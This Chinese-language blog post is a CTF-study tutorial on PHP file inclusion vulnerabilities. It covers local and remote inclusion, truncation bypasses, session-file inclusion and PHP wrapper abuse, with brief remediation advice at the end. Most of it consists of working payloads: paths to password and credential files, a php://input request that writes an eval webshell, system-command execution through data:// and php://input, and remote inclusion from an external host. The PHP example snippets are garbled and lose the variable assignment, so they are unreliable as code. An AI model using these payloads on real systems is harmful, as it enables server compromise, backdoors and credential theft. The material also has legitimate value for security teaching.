写点什么

22 年了你还不知道文件包含漏洞?

作者:喀拉峻
  • 2022 年 4 月 23 日
  • 本文字数:5877 字

    阅读完需:约 19 分钟

起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了 拿出买的👉500G 资料开始从头学习总结文件包含漏洞!


一、文件包含漏洞


文件包含漏洞


文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。


文件包含漏洞肯能会造成服务器网页被篡改、网站被挂马、服务器被远程控制、被安装后门等危害。


常见的文件包含函数:


1.include() 包含并运行制定文件。在出错时产生警告(E_WARNING),基本会继续运行。


2.include_once() 在脚本执行期间包含并运行制定文件。与 include 区别:检查是否被包含过,如果是则不会再次包含。


3.require()包含并运行指定文件。require 在出错时产生 E_COMPLE_ERROR 几倍错误,脚本中止运行


4.require_once() 基本完全与 require 相同 与 require 区别:检查是否被包含过,如果是则不会再次包含。


漏洞示例代码:


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); </span>?></pre>


以上代码,对_GET[‘filename’]的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;


我们在后面加上我们当前目录的文件 1.txt 即可读取 1.txt 的内容显示出来


二、无限制本地文件包含漏洞


无限制本地文件包含漏洞


无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html 等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码。


常见的敏感信息路径


Windows


c:\boot.ini // 查看系统版本


c:\XX\httpd.conf Apache 配置信息


c:\windows\system32\inetsrv\MetaBase.xml // IIS 配置文件


c:\windows\repair\sam // 存储 Windows 系统初次安装的密码


c:\ProgramFiles\mysql\my.ini // MySQL 配置


c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root 密码


c:\windows\php.ini // php 配置信息


Linux/Unix


/etc/passwd 账户信息


/etc/shadow 账户密码文件


/etc/httpd/conf/httpd.conf Apache 配置文件


/etc/my.conf mysql 配置文件


/usr/local/app/apache2/conf/httpd.conf Apache2 默认配置文件


/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置


/usr/local/app/php5/lib/php.ini PHP 相关配置


无限制本地文件包含漏洞示例:


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); </span>?></pre>


利用漏洞读取 Mysql 配置信息


payload:


http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini


利用无限制本地包含漏洞执行代码


三、有限制本地文件包含漏洞


简介:


有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html 等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有 %00 截断文件包含、路径长度截断文件包含、点号截断文件包含这三种


测试代码**:**


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span>,".html"<span>); </span>?></pre>


1.%00 截断


%00 会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤


漏洞利用条件**:**


(1) magic_quotes_gpc=off


(2) PHP<5.3.4


测试结果**;**


Payload: http://127.0.0.1/test.php?filename=xiaohua.txt%00


通过 %00 截断了后面的.html 扩展名过滤,成功读取了 xiaohua.txt 文件的内容


2.路径长度截断文件包含


操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断


漏洞利用条件


Windows 下目录的最大路径 256B


Linux 下目录的最大路径长度为 4096B


测试 payload:


http://127.0.0.1/test.php?filename=xiaohua.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././


执行完成后成功截断后面的.html 扩展名,包含了 xiaohua.txt 文件


3.点号阶段文件包含


点号截断适用于 Windows 系统,当点号的长度大于 256B 时,就可以造成扩展名截断。


测试****payload:


http://127.0.0.1/test.php?filename=xiaohua.txt....................................................................................................................................................................................................................................................................


成功使用.号截断后面的.html 扩展名,包含了我们想要的文件。


四、Session 文件包含


定义:


当可以获取 Session 文件的路径并且 Session 文件的内容可控时,就可以通过包含 Session 内容可控。


利用条件:


Session 的存储位置可以获取 Session 内容可控(1) 通过 phpinfo 的信息获取 session 的存储位置


Phpinfo 中的 session.save_path 保存的是 Session 的存储位置。通过 phpinfo 的信息获取 session.save_path 为/var/lib/php。


<pre><?<span>php </span><span>session_start</span><span>(); </span><span>_GET</span>['ctfs'<span>]; </span><span>ctfs</span><span>; </span>?></pre>


此代码的 $ctfs 变量的值可以通过 GET 型 ctfs 参数传入。PHP 代码将会获得 GET 型 ctfs 变量的值存入 Session 中。攻击者可以利用 GET 型 ctfs 参数将而已代码写入 Session 文件中,然后再利用文件包含漏洞包含此 Session 文件,向系统中传入恶意代


码。


漏洞利用****payload:


http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?> 将 php 语句写入 session 中


http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含 session 文件


session 文件名(真正的文件名默认都有个前缀就是 sess_)


五、远程文件包含


一、无限制远程文件包含无限制远程文件包含是指文件的位置并不是本地服务器,而是通过 URL 形式包含其他服务器上的文件,执行文件中的恶意代码。


漏洞利用条件**:**


(1) allow_url_fopen=on


(2) allow_url_include=on


漏洞代码


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); </span>?></pre>


Payload:


http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt


包含在 xiaohua.txt 中的 PHP 代码通过远程文件包含被成功当成 PHP 代码解析。


二、有限制远程文件包含有限制远程文件包含是指当代吗中存在特定的前缀或者.php、.html 等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程 URL 中恶意代码。


漏洞代码**:**


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span>.”.<span>html”); </span>?></pre>


问号绕过http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?


#号绕过http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#


空格绕过http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20


FUZZ 可以大量检测


六、PHP 伪协议


PHP 带了很多内置 URL 风格的封装协议,可用于 fopen、copy、file_exists 和 filesize 等文件系统函数。除了这些内置封装协议,还能通过 stream_wrapper_register 注册自定义的封装协议。这些协议都被称为伪协议。


File:// ——访问本地文件系统


http:// ——访问 HTTP(s)网址


ftp:// ——访问 FTP(s)URLs


php:// 访问各个输入/输出流(I/o streams)


zlib:// 压缩流


data:// 读取数据(RFC2397)


glob:// 查找匹配的文件路径模式


phar:// PHP 归档


ssh2:// Secure Sheel2


rar:// RAR


ogg:// 音频流


expect:// 处理交互式的流


php://伪协议


php://伪协议是 PHP 提供的一些输入输出流访问功能,允许访问 PHP 的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写入文件资源的过滤器。


**1. **php://filter


php://filter 是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写。


漏洞利用条件:


利用 php:filter 读本地磁盘文件时不需要开启 allow_url_fopen 和 allow_url_include


用法:


<pre>(<span>1</span>):filename=php:<span>//</span><span>filter/read=convert.base64-encode/resource=xx.php</span><span> (</span><span>2</span>):filename=php:<span>//</span><span>filter/convert.base64-encode/resource=xxx.php</span></pre>


参数:


Resource=<要过滤的数据流> 必需


read=<读链的筛选列表> 可选


write=<写链的筛选器列表> 可选


漏洞代码:<pre> <?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); ?</span>></pre>


** Pyload:**


http://127.0.0.1/test.php?filename=php://filter/read=convert.base64-encode/resource=test.php利用 php://filter 获取了 test.php 文件的 Base64 编码



**2. **php://input


php://input 可以访问请求的原始数据的只读流,即可以直接读取 POST 上没有经过解析的原始数据,但是使用 enctype=”multipart/form-data”的时候 php://input 是无效的。


(1):读取 POST 数据


利用条件**:**


** 示例代码:**


<pre><?<span>php </span><span>echo</span> <span>file_get_contents</span>("php://input"<span>) </span>?></pre>


上面代码输出 file_get_contents 函数获取的 php://input 数据。测试传入 POST 数据 字符串 xiaohua 最终输出该字符串 。php://input 可以获取 POST 传入的树


(2)写入木马


利用环境:


需要开启allow_url_include=on
**漏洞代码:**
复制代码


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); </span>?></pre>


Payload:


<pre>URL: http:<span>//</span><span>192.168.1.110/test.php?filename=php:</span><span>//</span><span>input</span><span> POST:</span><?php fputs(fopen(<span>'</span><span>shell.php</span><span>'</span>,<span>'</span><span>w</span><span>'</span>),<span>'</span><span><?php @eval($_POST[xiaohua])></span><span>'</span>)?></pre>


通过 php://input 执行后成功在网站根目录创建了 shell.php


** (3) 执行命令**


根写入木马漏洞代码操作基本类似知识 post 部分需要改


Post:<?php system(‘whoami’);?>


url: http://192.168.1.110/test.php?filename=php://input



**3. **file://伪协议


file://伪协议可以访问本地文件系统,读取文件的内容


示例代码:


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); </span>?></pre>


Payload:


http://192.168.1.110/test.php?filename=file://C:\phpStudy\PHPTutorial\WWW\xiaohua.txt


**4. **data://伪协议


php5.2.0 起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是 PHP 代码,就会执行代码


利用环境:


** **allow_url_include=on


allow_url_fopen=on


** 使用方法:**


data://text/plain;base64,xxxx(base64 编码后的数据)


**代码示例**


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); </span>?></pre>


对<?php system("dir")?>进行 base64 编码


PD9waHAgc3lzdGVtKCJkaXIiKT8+ 最后有个+号进行 url 编码+=%2b


最终 payload:http://192.168.1.110/test.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b


**5. **phar://伪协议


phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么扩展名,都会被当做压缩包


利用环境


PHP>5.3.0


Allow_url_include=on


Allow_url_fopen=on


示例代码:


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); </span>?></pre>


用法:


?file=phar://压缩包/内部文件->phar://xxx.png/shell.php


压缩包要用 zip://伪协议压缩,而不能用 rar://伪协议


新建 xiaohua.txt 里面包含恶意代码压缩为 xiaohua.zip 或者压缩完改后缀 jpg 上传 然后执行


Payload:http://127.0.0.1/test.php?filename=phar://xiaohua.jpg/xiaohua.txt


**6. **zip://伪协议


zip://伪协议和 phar://伪协议在原理上类似,用法不一样


利用环境


PHP>5.3.0


Allow_url_include=on


Allow_url_fopen=on


示例代码:


<pre><?<span>php </span><span>_GET</span>['filename'<span>]; </span><span>include</span>(<span>$filename</span><span>); </span>?></pre>


用法:


?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]


Eg:zip://xxx.png#shell.php


Payload: 192.168.1.110/test.php?filename=zip//shell.png:shell.php


新建 xiaohua.txt 里面包含恶意代码压缩为 xiaohua.zip 或者压缩完改后缀上传 然后执行


Payload:http://127.0.0.1/test.php?filename=zip://C:\phpStudy\PHPTutorial\WWW\xiaohua.zip%23xiaohua.txt


**7. **expect://伪协议


expect://伪协议主要用来执行系统命令,但是需要安装扩展


用法:?file=expect://ls


文件包含漏洞修复


** **代码层修复    进行文件过滤,将包含的参数设置为白名单即可


**2. **服务器安全配置


(1) 修改 PHP 配置文件,将 open_basedir 的值设置为可以包含特定目录后面要加/


Eg:open_basedir=/var/www/html


(2) 修改 PHP 的配置文件,关闭 allow_ur_include 可以防止远程文件包含


PHP 官方手册:https://www.php.net/manual/en/wrappers.php.php

用户头像

喀拉峻

关注

左手Java右手Python,中间纹个C++ 2021.06.26 加入

还未添加个人简介

评论

发布
暂无评论
22年了你还不知道文件包含漏洞?_网络安全_喀拉峻_InfoQ写作社区